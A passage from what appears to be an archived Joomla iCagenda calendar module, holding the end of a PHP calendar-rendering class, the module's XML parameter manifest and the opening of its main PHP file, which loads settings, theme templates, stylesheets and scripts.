//			elseif ($ictip_ordering == '1_ASC')
//			{
//				usort($events, $newfunc_1_ASC);
//			}
			// If main ordering and sub-ordering on Category Title : set CATEGORY TITLE ASC (with no sub-ordering)
//			elseif ($ictip_ordering == '2_ASC')
//			{
//				usort($events, $newfunc_2_ASC);
//			}


			// Load template for day infotip
//			require $this->t_day;
			// Check to see if we have a valid template file
			if (file_exists($this->t_day))
			{
				// Store the file path
				$this->_file = $this->t_day;

				// Get the file content
				ob_start();
				require $this->t_day;
				$cal_day_layout = ob_get_contents();
				ob_end_clean();
			}

			$calendar.= $cal_day_layout;

			switch('week')
			{
				case $this->day[6]:
					$calendar.= '</td></tr>';
					break;

				default:
					$calendar.= '</td>';
					break;
			}
		}

		unset($d);

		switch ($stamp->week)
		{
			case $this->day[6]:
				break;

			default:
				$calendar.= '<td colspan="' . (7-$stamp->week) . '"></td></tr>';
				break;
		}

		$calendar.= '</table></div>';

		$calendar.= '</div>';

		echo $calendar;
	}
}


class day
{
	public $date;
	public $week;
	public $day;
	public $month;
	public $year;
	public $events;
	public $fontcolor;

	function __construct($day)
	{
		foreach ($day as $k => $v)
		{
			$this->$k = $v;
		}
	}
}
mod_iccalendar/index.html000060400000000000150750153150011451 0ustar00mod_iccalendar/mod_iccalendar.xml000060400000046227150750153150013147 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension type="module" version="2.5.14" method="upgrade" client="site">
	<name>iCagenda - Calendar</name>
	<author>Cyril Rezé / Jooml!C</author>
	<creationDate>2020-03-28</creationDate>
	<copyright>Copyright (c) 2012-2020 Jooml!C / Cyril Rezé. All rights reserved.</copyright>
	<license>GNU General Public License version 3 or later; see LICENSE.txt</license>
	<authorEmail>info@joomlic.com</authorEmail>
	<authorUrl>www.joomlic.com</authorUrl>
	<version>3.7.12</version>
	<description>Calendar module for iCagenda component</description>

	<files>
		<filename>mod_iccalendar.xml</filename>
		<filename module="mod_iccalendar">mod_iccalendar.php</filename>
		<filename>index.html</filename>
		<filename>helper.php</filename>
		<folder>js</folder>
	</files>

	<languages folder="site">
		<language tag="en-GB">language/en-GB/en-GB.mod_iccalendar.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.mod_iccalendar.ini</language>
		<language tag="it-IT">language/it-IT/it-IT.mod_iccalendar.ini</language>
	</languages>

	<config>

		<fields id="params" name="params" type="fields" label="params" addfieldpath="/administrator/components/com_icagenda/models/fields">

			<fieldset name="basic" addfieldpath="/administrator/components/com_icagenda/assets/elements">

				<field
					name="template"
					type="modal_template"
					label="MOD_ICCALENDAR_THEME_PACK_LBL"
					description="MOD_ICCALENDAR_THEME_PACK_DESC"
					default="default"
					class="inputbox"
					size="40"
				/>

				<field
					name="iCmenuitem"
					type="modal_menulink"
					label="ICAGENDA_MODULE_MENU_ITEM_LABEL"
					description="ICAGENDA_MODULE_MENU_ITEM_DESC"
					default=""
				/>

				<field
					name="iCmenu_filters"
					type="radio"
					label="ICAGENDA_MODULE_MENU_FILTERS_LABEL"
					description="ICAGENDA_MODULE_MENU_FILTERS_DESC"
					default="0"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="firstMonth"
					type="calendar"
					label="MOD_ICCALENDAR_LOADING_ON_DATE_LBL"
					description="MOD_ICCALENDAR_LOADING_ON_DATE_DESC"
					default=""
				/>

				<field type="Title" label="MOD_ICCALENDAR_FILTERS_LABEL" class="stylebox lead input-xxlarge" />

				<field
					name="mcatid"
					type="modal_multicat"
					label="MOD_ICCALENDAR_LBL_CATEGORY"
					description="MOD_ICCALENDAR_DESC_CATEGORY"
					default="0"
					class="inputbox"
					multiple="multiple"
				/>

				<field
					name="onlyStDate"
					type="list"
					label="MOD_ICCALENDAR_LBL_PERIOD"
					description="MOD_ICCALENDAR_PERIOD_ONLY_START_DATE_DESC"
					default=""
					class="btn-group"
					>
					<option value="">PERIOD_ALL_DATES</option>
					<option value="1">PERIOD_ONLY_START_DATE</option>
				</field>

				<field type="Title" label="MOD_ICCALENDAR_HEADER_TEXT_LBL" class="stylebox lead input-xxlarge" />

				<field
					name="header_text"
					type="editor"
					label="MOD_ICCALENDAR_HEADER_TEXT_LBL"
					description="MOD_ICCALENDAR_HEADER_TEXT_DESC"
					default=""
					filter="JComponentHelper::filterText"
				/>

				<field type="Title" label=" " class="stylenote" />

				<field type="Title" label="MOD_ICCALENDAR_LBL_TOOLTIP" class="stylebox lead input-xxlarge" />

				<field
					name="tipwidth"
					type="text"
					label="MOD_ICCALENDAR_LBL_TIP_WIDTH"
					description="MOD_ICCALENDAR_DESC_TIP_WIDTH"
					default="390"
					class="inputbox"
					size="30"
				/>

				<field
					type="TitleImg"
					label="MOD_ICCALENDAR_DESC_HORIZ_POSITION"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					name="position"
					type="radio"
					label="MOD_ICCALENDAR_LBL_HORIZ_POSITION"
					description="MOD_ICCALENDAR_DESC_HORIZ_POSITION"
					default="center"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="left">MOD_ICCALENDAR_HORIZ_POSITION_LEFT</option>
					<option value="center">MOD_ICCALENDAR_HORIZ_POSITION_MIDDLE</option>
					<option value="right">MOD_ICCALENDAR_HORIZ_POSITION_RIGHT</option>
				</field>

				<field
					name="posmiddle"
					type="radio"
					label="MOD_ICCALENDAR_LBL_VERT_POSITION"
					description="MOD_ICCALENDAR_DESC_VERT_POSITION"
					default="top"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="top">MOD_ICCALENDAR_VERT_POSITION_TOP</option>
					<option value="bottom">MOD_ICCALENDAR_VERT_POSITION_BOTTOM</option>
				</field>

				<field
					type="TitleImg"
					label="MOD_ICCALENDAR_DESC_VERT_POSITION_OFFSET"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					name="verticaloffset"
					type="text"
					label="MOD_ICCALENDAR_LBL_VERT_POSITION_OFFSET"
					description="MOD_ICCALENDAR_DESC_VERT_POSITION_OFFSET"
					default="50"
					class="inputbox"
					size="30"
				/>

				<field
					type="TitleImg"
					label="MOD_ICCALENDAR_TIP_PADDING"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					name="padding"
					type="text"
					label="MOD_ICCALENDAR_LBL_TIP_PADDING"
					description="MOD_ICCALENDAR_DESC_TIP_PADDING"
					default="0"
					class="inputbox"
					size="30"
				/>

				<field
					type="TitleImg"
					label="MOD_ICCALENDAR_DESC_MOUSEOVER"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					name="mouseover"
					type="radio"
					label="MOD_ICCALENDAR_LBL_MOUSEOVER"
					description="MOD_ICCALENDAR_DESC_MOUSEOVER"
					default="click"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="click">MOD_ICCALANDAR_OPEN_CLICK</option>
					<option value="mouseover">MOD_ICCALANDAR_OPEN_MOUSEOVER</option>
				</field>

				<field
					name="mouseout"
					type="radio"
					label="MOD_ICCALENDAR_CLOSE_ON_MOUSEOUT_LBL"
					description="MOD_ICCALENDAR_CLOSE_ON_MOUSEOUT_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					type="Title"
					label="MOD_ICCALENDAR_FORMAT_NOTE"
					class="stylenote"
				/>

				<field
					name="format"
					type="iclist_globalization"
					label="COM_ICAGENDA_LBL_FORMAT"
					description="COM_ICAGENDA_LBL_FORMAT"
					default="0"
					class="inputbox"
				/>

				<field
					name="date_separator"
					type="text"
					label="COM_ICAGENDA_LBL_DATE_SEPARATOR"
					description="COM_ICAGENDA_DESC_DATE_SEPARATOR"
					default=""
					class="inputbox"
					size="5"
				/>

				<field
					type="TitleImg"
					label="COM_ICAGENDA_DATE_FORMAT_NOTE1"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					type="TitleImg"
					label="COM_ICAGENDA_DATE_FORMAT_NOTE2"
					class="stylenoteP alert alert-block input-xxlarge"
					icicon="earth"
				/>

				<!--field type="Title" label="MOD_ICCALENDAR_LBL_ORDERING" class="stylenote" />

				<field
					name="events_ordering_first"
					type="list"
					label="MOD_ICCALENDAR_EVENTS_ORDERING_FIRST_LABEL"
					description="MOD_ICCALENDAR_EVENTS_ORDERING_FIRST_DESC"
					default="1_ASC"
					>
					<option value="1_ASC">MOD_ICCALENDAR_TIME_ASC</option>
					<option value="1_DESC">MOD_ICCALENDAR_TIME_DESC</option>
					<option value="2_ASC">MOD_ICCALENDAR_CAT_TITLE_ASC</option>
					<option value="2_DESC">MOD_ICCALENDAR_CAT_TITLE_DESC</option>
				</field>

				<field
					name="events_ordering_second"
					type="list"
					label="MOD_ICCALENDAR_EVENTS_ORDERING_SECOND_LABEL"
					description="MOD_ICCALENDAR_EVENTS_ORDERING_SECOND_DESC"
					default="3"
					>
					<option value="1_ASC">MOD_ICCALENDAR_TIME_ASC</option>
					<option value="1_DESC">MOD_ICCALENDAR_TIME_DESC</option>
					<option value="2_ASC">MOD_ICCALENDAR_CAT_TITLE_ASC</option>
					<option value="2_DESC">MOD_ICCALENDAR_CAT_TITLE_DESC</option>
				</field-->

				<field type="Title" label="MOD_ICCALENDAR_LBL_TOOLTIP_INFOS" class="stylenote" />

				<field
					name="dp_time"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_TIME_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_TIME_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_venuename"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_VENUE_NAME_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_VENUE_NAME_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_city"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_CITY_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_CITY_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_country"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_COUNTRY_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_COUNTRY_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_regInfos"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_REGISTRATION_INFOS_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_REGISTRATION_INFOS_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="features_icon_size"
					type="list"
					label="MOD_ICCALENDAR_FEATURES_ICONSIZE_LABEL"
					description="MOD_ICCALENDAR_FEATURES_ICONSIZE_DESC"
					default=""
					class="inputbox"
					filter="options"
					>
					<option value="">COM_ICAGENDA_FEATURES_ICONSIZE_NONE</option>
					<option value="16_bit">COM_ICAGENDA_FEATURES_ICONSIZE_16</option>
					<option value="24_bit">COM_ICAGENDA_FEATURES_ICONSIZE_24</option>
					<option value="32_bit">COM_ICAGENDA_FEATURES_ICONSIZE_32</option>
					<option value="48_bit">COM_ICAGENDA_FEATURES_ICONSIZE_48</option>
					<option value="64_bit">COM_ICAGENDA_FEATURES_ICONSIZE_64</option>
				</field>

				<field
					name="show_icon_title"
					type="radio"
					label="MOD_ICCALENDAR_SHOW_FEATURE_ICON_TITLE_LABEL"
					description="MOD_ICCALENDAR_SHOW_FEATURE_ICON_TITLE_DESC"
					default="1"
					class="btn-group"
					filter="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_shortDesc"
					type="radio"
					label="COM_ICAGENDA_LIST_INTROTEXT_DISPLAY_LABEL"
					description="COM_ICAGENDA_LIST_INTROTEXT_DISPLAY_DESC"
					default=""
					class="btn-group"
					labelclass="control-label"
					>
					<option value="">IC_AUTO</option>
					<option value="0">JHIDE</option>
					<option value="1">IC_SHORTDESC</option>
					<option value="2">IC_AUTO_INTROTEXT</option>
				</field>

				<field
					name="filtering_shortDesc"
					type="list"
					label="ICAGENDA_FILTERING_SHORTDESC_LABEL"
					description="ICAGENDA_FILTERING_SHORTDESC_DESC"
					default=""
					class="btn-group"
					>
					<option value="">ICAGENDA_GLOBAL_OPTION</option>
					<option value="1">ICAGENDA_FILTERING_NO_HTML</option>
					<option value="2">ICAGENDA_FILTERING_ALL_ITALIC</option>
				</field>

				<field
					name="paramlimit"
					type="modal_icvalue_opt"
					label="ICAGENDA_AUTO_INTROTEXT_LIMIT_LABEL"
					description="ICAGENDA_AUTO_INTROTEXT_LIMIT_DESC"
					default=""
					labelclass="control-label"
				/>

				<field
					name="paramlimit_Content"
					type="modal_icvalue_field"
					label=" "
					class="inputbox"
					labelclass="control-label"
				/>

				<field type="Title" label="MOD_ICCALENDAR_LBL_DISPLAY" class="stylenote" />

				<field
					name="calendarclosebtn"
					type="modal_icvalue_opt"
					label="COM_ICAGENDA_LBL_CLOSE_TEXT"
					description="COM_ICAGENDA_DESC_CLOSE_TEXT"
					default="0"
					labelclass="control-label"
				/>

				<field
					name="calendarclosebtn_Content"
					type="modal_icvalue_field"
					label=" "
					default="X"
					class="inputbox"
					labelclass="control-label"
				/>


				<field type="Title" label=" " class="stylenote" />

				<field type="Title" label="MOD_ICCALENDAR_LBL_DISPLAY" class="stylebox lead input-xxlarge" />

				<field type="Title" label="MOD_ICCALENDAR_NAVIGATION" class="stylenote" />

				<field
					name="month_nav"
					type="radio"
					label="MOD_ICCALENDAR_NAVIGATION_MONTH_DISPLAY_LBL"
					description="MOD_ICCALENDAR_NAVIGATION_MONTH_DISPLAY_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="year_nav"
					type="radio"
					label="MOD_ICCALENDAR_NAVIGATION_YEAR_DISPLAY_LBL"
					description="MOD_ICCALENDAR_NAVIGATION_YEAR_DISPLAY_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field type="Title" label="MOD_ICCALENDAR_LBL_FIRSTDAY_WEEK" class="stylenote" />

				<field
					name="firstday"
					type="list"
					label="MOD_ICCALENDAR_LBL_FIRSTDAY"
					default="1"
					>
					<option value="0">SUNDAY</option>
					<option value="1">MONDAY</option>
					<option value="2">TUESDAY</option>
					<option value="3">WEDNESDAY</option>
					<option value="4">THURSDAY</option>
					<option value="5">FRIDAY</option>
					<option value="6">SATURDAY</option>
				</field>

				<field type="Title" label="MOD_ICCALENDAR_LBL_FONTCOLORS" class="stylenote" />

				<field
					name="calfontcolor"
					type="color"
					label="MOD_ICCALENDAR_CALENDAR_FONTCOLOR_LBL"
					description="MOD_ICCALENDAR_CALENDAR_FONTCOLOR_DESC"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field type="Title" label="MOD_ICCALENDAR_LBL_BGCOLORS" class="stylenote" />

				<field
					name="OneEventbgcolor"
					type="color"
					label="MOD_ICCALENDAR_DAY_WITH_ONE_EVENT_BACKGROUND_COLOR_LBL"
					description="MOD_ICCALENDAR_DAY_WITH_ONE_EVENT_BACKGROUND_COLOR_DESC"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="Eventsbgcolor"
					type="color"
					label="MOD_ICCALENDAR_DAY_WITH_EVENTS_BACKGROUND_COLOR_LBL"
					description="MOD_ICCALENDAR_DAY_WITH_EVENTS_BACKGROUND_COLOR_DESC"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="bgcolor"
					type="color"
					label="ICCALENDAR_BACKGROUND_COLOR"
					description="ICCALENDAR_BACKGROUND_COLOR_DESC"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="bgimage"
					type="media"
					label="ICCALENDAR_BACKGROUND_IMAGE"
					description="ICCALENDAR_BACKGROUND_IMAGE_DESC"
					default=""
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="bgimagerepeat"
					type="list"
					label="ICCALENDAR_BACKGROUND_IMAGE_REPEAT"
					description="ICCALENDAR_BACKGROUND_IMAGE_REPEAT_DESC"
					default="repeat"
					>
					<option value="repeat">repeat</option>
					<option value="repeat-x">repeat-x</option>
					<option value="repeat-y">repeat-y</option>
					<option value="no-repeat">no-repeat</option>
				</field>

				<field
					name="mon"
					type="color"
					label="MONDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="tue"
					type="color"
					label="TUESDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="wed"
					type="color"
					label="WEDNESDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="thu"
					type="color"
					label="THURSDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="fri"
					type="color"
					label="FRIDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="sat"
					type="color"
					label="SATURDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="sun"
					type="color"
					label="SUNDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field type="Title" label=" " class="stylenote" />

				<field type="Title" label="MOD_ICCALENDAR_LBL_ADVANCED" class="stylebox lead input-xxlarge" />

				<field type="Title" label="MOD_ICCALENDAR_LBL_JQUERY" class="stylenote" />

				<field
					name="loadJquery"
					type="radio"
					label="MOD_ICCALENDAR_LBL_LOADJQUERY"
					description="MOD_ICCALENDAR_DESC_LOADJQUERY"
					default="auto"
					class="btn-group"
					>
					<option value="auto">MOD_ICCALENDAR_LOADJQUERY_AUTO</option>
					<option value="0">MOD_ICCALENDAR_LOADJQUERY_NO</option>
					<option value="1">MOD_ICCALENDAR_LOADJQUERY_YES</option>
				</field>

				<field type="Title" label="ICAGENDA_LBL_TIMEZONE" class="stylenote" />

				<field
					name="setTodayTimezone"
					type="list"
					label="ICAGENDA_LBL_TODAY_TIMEZONE"
					description="ICAGENDA_DESC_TODAY_TIMEZONE"
					default=""
					onchange="icalert()"
					>
					<option value="">ICAGENDA_VISITOR_TIMEZONE</option>
					<option value="SITE">ICAGENDA_JOOMLA_SERVER_TIMEZONE</option>
					<option value="UTC">ICAGENDA_UTC_TIMEZONE</option>
					<!--option value="2">ICAGENDA_HOSTING_SERVER_TIMEZONE</option-->
				</field>

				<field
					name="caldate_error"
					type="modal_icalert_msg"
					label="COM_ICAGENDA_THEME_PACKS_COMPATIBILITY"
					description="MOD_ICCALENDAR_ALERT_CAL_DATE_MISSING_DESC"
				/>

				<!--field
					name="displayDatesTimezone"
					type="list"
					label="ICAGENDA_LBL_DATES_TIMEZONE_BETA"
					description="ICAGENDA_DESC_DATES_TIMEZONE_BETA"
					default="0"
					class="btn-group"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field-->

				<!--field type="title" label="ICAGENDA_DESC_TODAY_TIMEZONE_TEMPORARY" class="alert alert-info input-xxlarge" /-->
			</fieldset>

			<fieldset name="ADVANCED" label="MOD_ICCALENDAR_LBL_ADVANCED">

				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					icon="text_signature.png"
				/>

				<field type="Title" label=" " class="stylenote" />

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="0"
					>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field type="title" label="MOD_ICCALENDAR_CACHE_NOTE" class="stylered alert alert-error input-xxlarge" />


				<!--field
					name="cache_time"
					type="text"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					icon="hourglass.png"
					suffix="min"
				/-->

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option	value="itemid"></option>
				</field>

			</fieldset>

		</fields>

	</config>

</extension>
mod_iccalendar/mod_iccalendar.php000060400000041671150750153150013134 0ustar00<?php
/**
 *----------------------------------------------------------------------------
 * iCagenda     Events Management Extension for Joomla!
 *----------------------------------------------------------------------------
 * @version     3.7.0 2018-05-17
 *
 * @package     iCagenda.Site
 * @subpackage  mod_iccalendar
 * @link        https://icagenda.joomlic.com
 *
 * @author      Cyril Rezé
 * @copyright   (c) 2012-2019 Jooml!C / Cyril Rezé. All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 *
 * @since       1.0
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *----------------------------------------------------------------------------
*/

defined('_JEXEC') or die;

/**
 * iCagenda - iC calendar
 */

// Get iCagenda component parameters
$com_params = JComponentHelper::getParams('com_icagenda');

// For Dev.
$time_loading = $com_params->get('time_loading', '');

if ($time_loading && class_exists('iCLibrary'))
{
	$starttime_cal = iCLibrary::getMicrotime();
}

jimport('joomla.application.component.helper');

// Get Application
$app    = JFactory::getApplication();
$jinput = $app->input;

// Check Errors: iC Library & iCagenda Utilities
$UTILITIES_DIR = is_dir(JPATH_ADMINISTRATOR . '/components/com_icagenda/utilities');

if ( (!$UTILITIES_DIR)
	|| (!class_exists('iCLibrary')) )
{
	$alert_message = JText::_('ICAGENDA_CAN_NOT_LOAD').'<br />';
	$alert_message.= '<ul>';
	if (!class_exists('iCLibrary')) $alert_message.= '<li>' . JText::_('IC_LIBRARY_NOT_LOADED') . '</li>';
	if (!$UTILITIES_DIR) $alert_message.= '<li>' . JText::_('ICAGENDA_A_FOLDER_IS_MISSING') . '</li>';
	$alert_message.= '</ul>';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('ICAGENDA_IS_NOT_CORRECTLY_INSTALLED') . ' ';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('ICAGENDA_INSTALL_AGAIN') . '<br />';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('IC_ALTERNATIVELY') . ':<br /><ul>';
	if ($UTILITIES_DIR) $alert_message.= JText::_('IC_PLEASE') . ', ';
	if (!class_exists('iCLibrary'))
	{
		if (!$UTILITIES_DIR) $alert_message.= '<li>';
		$alert_message.= JText::_('IC_LIBRARY_CHECK_PLUGIN_AND_LIBRARY');
		if (!$UTILITIES_DIR) $alert_message.= '</li>';
	}
	if (!$UTILITIES_DIR)
	{
		$alert_message.= '<li>' . JText::Sprintf('ICAGENDA_UTILITIES_FIX_MANUAL'
						, '<strong>admin/utilities</strong>'
						, '<strong>administrator/components/com_icagenda/</strong>');
		$alert_message.= '</li></ul>';
	}

	// Get the message queue
	$messages = $app->getMessageQueue();

	$display_alert_message = false;

	// If we have messages
	if (is_array($messages) && count($messages))
	{
		// Check each message for the one we want
		foreach ($messages as $key => $value)
		{
			if ($value['message'] == $alert_message)
			{
				$display_alert_message = true;
			}
		}
	}

	if (!$display_alert_message)
	{
		$app->enqueueMessage($alert_message, 'error');
	}

	echo JText::_('IC_MODULE_CAN_NOT_BE_LOADED') . '<br />';
	echo JText::_('IC_MODULE_CHECK_ALERT_MESSAGE');

	return false;
}

// Load iCagenda Utilities
JLoader::registerPrefix('icagenda', JPATH_ADMINISTRATOR . '/components/com_icagenda/utilities');

jimport( 'joomla.environment.request' );

// Get Document
$document	= JFactory::getDocument();

// Test if translation is missing, set to en-GB by default
$language = JFactory::getLanguage();
$language->load( 'mod_iccalendar', JPATH_SITE, 'en-GB', true );
$language->load( 'mod_iccalendar', JPATH_SITE, null, true );

// Include the class of the syndicate functions only once
if ( ! class_exists('modiCcalendarHelper')) require_once(dirname(__FILE__) . '/helper.php');

// Check valid NEXT DATE (removed 3.6.3)
icagendaEventsData::getNext();

// Module ID
$modid		= $module->id;

// Params of the Module iC Calendar
$moduleclass_sfx	= htmlspecialchars($params->get('moduleclass_sfx'));
$mouseover			= $params->get('mouseover', 'click');
$mouseout			= $params->get('mouseout', 1);
$columns_bg_color	= array(
						$params->get('sun', ' '),
						$params->get('mon', ' '),
						$params->get('tue', ' '),
						$params->get('wed', ' '),
						$params->get('thu', ' '),
						$params->get('fri', ' '),
						$params->get('sat', ' '),
					);
$firstday			= $params->get('firstday', '1');
$calfontcolor		= $params->get('calfontcolor', ' ');
$OneEventbgcolor	= $params->get('OneEventbgcolor', ' ');
$Eventsbgcolor		= $params->get('Eventsbgcolor', ' ');
$bgcolor			= $params->get('bgcolor', ' ');
$bgimage			= $params->get('bgimage');
$bgimagerepeat		= $params->get('bgimagerepeat');
$closebutton		= $params->get('calendarclosebtn', 1);
$closebutton_custom	= $params->get('calendarclosebtn_Content', 'X');
$theme_calendar		= $params->get('template', 'default');
$firstMonth			= iCDate::isDate($params->get('firstMonth'))
					? $params->get('firstMonth')
					: '';

$setTodayTimezone	= $params->get('setTodayTimezone', '');

// Ordering set by default (time/category) - Option in developpement (Not used)
$events_ordering_first	= $params->get('events_ordering_first', '1_ASC');
$events_ordering_second	= $params->get('events_ordering_second', '2_ASC');
$ictip_ordering			= $events_ordering_first.'-'.$events_ordering_second;

$header_text			= $params->get('header_text', '');
$padding				= $params->get('padding', '0');

// Module
$cal		= new modiCcalendarHelper;
$data		= $cal->getStamp($params);
$url_date	= $jinput->get('date');
$iccaldate	= $jinput->get('iccaldate');

// First day of the current month
$this_month	= $firstMonth
//			? date("Y-m-d", strtotime("+1 month", strtotime($firstMonth)))
			? date("Y-m-01", strtotime($firstMonth))
			: JHtml::date('now', 'Y-m-01', null);

if ( isset($iccaldate)
	&& !empty($iccaldate) )
{
	// This should be the first day of a month
	$date_start = date('Y-m-01', strtotime($iccaldate));
}
else
{
	$date_start	= $this_month;
}

$nav = $cal->getNav($date_start, $modid);


// Search template of iC Calendar from the selected Theme Pack
$themes_path = '/components/com_icagenda/themes/packs/';

if ( ! file_exists(JPATH_BASE . $themes_path . $theme_calendar . '/' . $theme_calendar . '_calendar.php'))
{
	$theme_calendar = 'default';
}

$theme_tmpl	= JPATH_BASE . $themes_path . $theme_calendar . '/' . $theme_calendar;
$theme_css	= $themes_path . $theme_calendar . '/css/' . $theme_calendar;

$t_calendar		= $theme_tmpl . '_calendar.php';
$css_module		= $theme_css . '_module.css';
$css_mod_rtl	= $theme_css . '_module-rtl.css';

// ToolTip 2 in developpement (Not used)
$tip_type = '1';

if ($tip_type == 1)
{
	$t_day = $theme_tmpl . '_day.php';
}
elseif ($tip_type == 2)
{
	$t_day = $theme_tmpl . '_calendar_tip.php';
}

// Add the media specific CSS to the document
icagendaThemeStyle::addMediaCss($theme_calendar, 'module');

// Load Vector iCicons Font (navigation arrows)
JHtml::stylesheet( 'media/com_icagenda/icicons/style.css' );

// Theme pack component css
$document->addStyleSheet( JURI::base( true ) . $css_module );

// RTL css if site language is RTL
$lang = JFactory::getLanguage();

if ( $lang->isRTL()
	&& file_exists( JPATH_SITE . $css_mod_rtl) )
{
	$document->addStyleSheet( JURI::base( true ) . $css_mod_rtl );
}

if (version_compare(JVERSION, '3.0', 'ge'))
{
	// Request Joomla to load jQuery in no conflict mode
	JHtml::_('bootstrap.framework');
	JHtml::_('jquery.framework');
}
else
{
	//Load JS
	JHtml::_('behavior.mootools');

	$header = $document->getHeadData();
	$loadJquery = true;

	switch($params->get('loadJquery',"auto"))
	{
		case "0":
			$loadJquery = false;
			break;
		case "1":
			$loadJquery = true;
			break;
		case "auto":
			foreach ($header['scripts'] as $scriptName => $scriptData)
			{
				if (substr_count($scriptName,'jquery'))
				{
					$loadJquery = false;
					break;
				}
			}
			break;
	}

	//Add js
	$app = JFactory::getApplication();

	if ($loadJquery && !$app->get('jquery'))
	{
		$document->addScript( 'https://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js' );
		$app->set('jquery', true);
	}

	$document->addScript( 'modules/mod_iccalendar/js/jquery.noconflict.js' );
}

if (ini_get('allow_url_fopen'))
{
	$file = file_get_contents($t_day);

	if ( ! strpos($file, "data-cal-date"))
	{
		$server_date = false;
		echo "<div class='alert alert-error'>'data-cal-date' not found in your Custom Theme Pack!</div>";
	}
	else
	{
		$server_date = true;
	}
}
else
{
	$server_date = true;
}

if ( ! $setTodayTimezone && $server_date)
{
	$document->addScript( 'modules/mod_iccalendar/js/jQuery.highlightToday.min.js' );
}


$icclasstip		= '.icevent a';
$icclass		= '.iccalendar';
$icagendabtn	= '.icagendabtn_' . $modid;
$mod_iccalendar	= '#mod_iccalendar_' . $modid;

$close_btn		= ($closebutton == 1) ? $closebutton_custom : JText::_('MOD_ICCALENDAR_CLOSE');

// Minimum popup width for mobile phone mode
$mobile_min_width = 320;

$stamp = new cal($data, $t_calendar, $t_day, $nav, $firstday, $columns_bg_color, $calfontcolor,
